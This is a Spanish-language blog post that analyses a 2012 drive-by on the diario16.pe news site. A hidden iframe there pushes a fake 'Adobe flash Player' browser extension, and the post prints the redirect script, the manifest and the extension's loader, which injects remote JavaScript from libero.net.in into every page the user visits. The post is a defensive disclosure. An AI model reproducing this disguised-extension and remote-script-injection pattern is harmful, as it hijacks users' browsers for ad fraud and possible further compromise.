
A la fecha (31 julio del 2012) al acceder a la paágina web de diario16, se intenta intalar un extensión firefox desde libero.net:
$ curl -s 'http://diario16.pe/' | grep -n -i libero
1144:<iframe id="iframexd" src="http://libero.net.in/plugin.php" width="0px" height="0px" frameborder="0"></iframe>
Checkamos de que se trata tal extensión:
$ curl -s http://libero.net.in/plugin.php
<script>
var navegador = navigator.userAgent;
if (navigator.userAgent.indexOf('MSIE') !=-1) {
document.write('<img src="http://whos.amung.us/swidget/liberoxdie.gif"/>');
} else if (navigator.userAgent.indexOf('Firefox') !=-1) {
document.write('<img src="http://whos.amung.us/swidget/liberoxdff.gif"/>');
location.href='http://libero.net.in/plugins/flash.xpi';
} else if (navigator.userAgent.indexOf('Chrome') !=-1) {
document.write('<img src="http://whos.amung.us/swidget/liberoxdch.gif"/>');
location.href='http://libero.net.in/plugins/flash.crx';
} else {
document.write('<img src="http://whos.amung.us/swidget/liberoxdie.gif"/>');
}
</script>
El script inserta una imagen y enlaza a la extensión .xpi (para firefox)
$ curl -s -i http://whos.amung.us/swidget/liberoxdff.gif
HTTP/1.1 303 See Other
Date: Tue, 31 Jul 2012 05:21:59 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Location: http://widgets.amung.us/small/00/2.png
Set-Cookie: uid=CgH9HlAXa3dQGF8+dPZpAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; domain=whos.amung.us; path=/
La imagen pertenece a amung.us asi que lo dejo ahi, ahora vamos a ver el .xpi
$ curl -OL 'http://libero.net.in/plugins/flash.xpi'
$ unzip -d plugin flash.xpi
$ cd plugin
$ tree
.
├── chrome
├── chrome.manifest
├── content
│ ├── prefman.js
│ ├── script-compiler.js
│ ├── script-compiler-overlay.xul
│ ├── vpstream.js
│ └── xmlhttprequester.js
└── install.rdf
2 directories, 7 files
Revisando un poco la documentación de las extensiones de firefox, vamos a analizar un poco, para eso abrimos ipython:
In [1]: from bs4 import BeautifulSoup
In [2]: soup = BeautifulSoup(open('install.rdf').read(), features='xml')
In [3]: print soup.prettify()
<?xml version="1.0" encoding="utf-8"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<Description about="urn:mozilla:install-manifest">
<em:id>
mfgt@live.com
</em:id>
<em:name>
Adobe flash Player
</em:name>
<em:version>
3.1
</em:version>
<em:description>
Permite ver videos online alojados en diferentes servidores, a través de Internet
</em:description>
<em:creator>
Ver Pelis
</em:creator>
<em:homepageURL>
http://get.adobe.com
</em:homepageURL>
<em:targetApplication>
<Description>
<em:id>
{ec8030f7-c20a-464f-9b0e-13a3a9e97384}
</em:id>
<em:minVersion>
2.0
</em:minVersion>
<em:maxVersion>
20.*
</em:maxVersion>
</Description>
</em:targetApplication>
</Description>
</RDF>
Un momento, ¿esta extensión sirve "para ver videos"?. Leyendo un poco el contenido del script:
$ cat content/vpstream.js
function loadScript() {
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://libero.net.in/plugin.js");
var head = (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]);
if (head!=null) {
head.appendChild(s);
}
}
loadScript();
Esta extensión inserta plugin.js desde libero en la página. Interesante, ahora vamos a analizar ese plugin.js:
$ curl -OL 'http://libero.net.in/plugin.js'
OMFG, ese script en las páginas desde facebook y youtube, hasta wikipedia, inserta un iframe con un con un html de otra página y todo escondido bajo una imagen de amung.us, asi que nadie sospecha nada. Al carajo, esa dizque extensión para nada "te permite ver videos".
Analicemos ese un poco es html:
$ curl http://wtfvideos.tv/publi_728x90.html
<!-- BEGIN SMOWTION TAG - 728x90 - DO NOT MODIFY -->
<script type="text/javascript"><!--
smowtion_size = "728x90";
smowtion_section = "2638350";
//-->
</script>
<script type="text/javascript"
src="http://ads.smowtion.com/ad.js?s=2638350&z=728x90">
</script>
<!-- END SMOWTION TAG - 728x90 - DO NOT MODIFY -->%
El cual apunta a otro javascript desde smowtion. smowtion es una empresa argentina (creo) de dudosa reputación, su página en wikipedia en español rompe la mayoría de los guidelines de la wikipedia (triste), pero se puede leer esta discución en la wikipedia en inglés. Al parecer no era tan malo como pensaba, es solamente alguien que inserta su codigo de publicidad en todas las páginas que visitamos, para así poder ganar dinero a nuestras cuestas. Gracias diario16 por ofrecernos algo tan útil (sarcasmo). La pregunta del millón es a quien pertenece ese código.
Ese javascript de smowtion, me da mala espina, analicemoslo por si acaso:
$ curl -o ad.js 'http://ads.smowtion.com/ad.js?s=2638350&z=728x90'
$ npm install -g uglify-js
$ uglifyjs -b -i 2 ad.js
Luego de leer el javascript: OMFG! usa scorecardresearch. Ahora si me estoy asustando. Damn you Diario16!.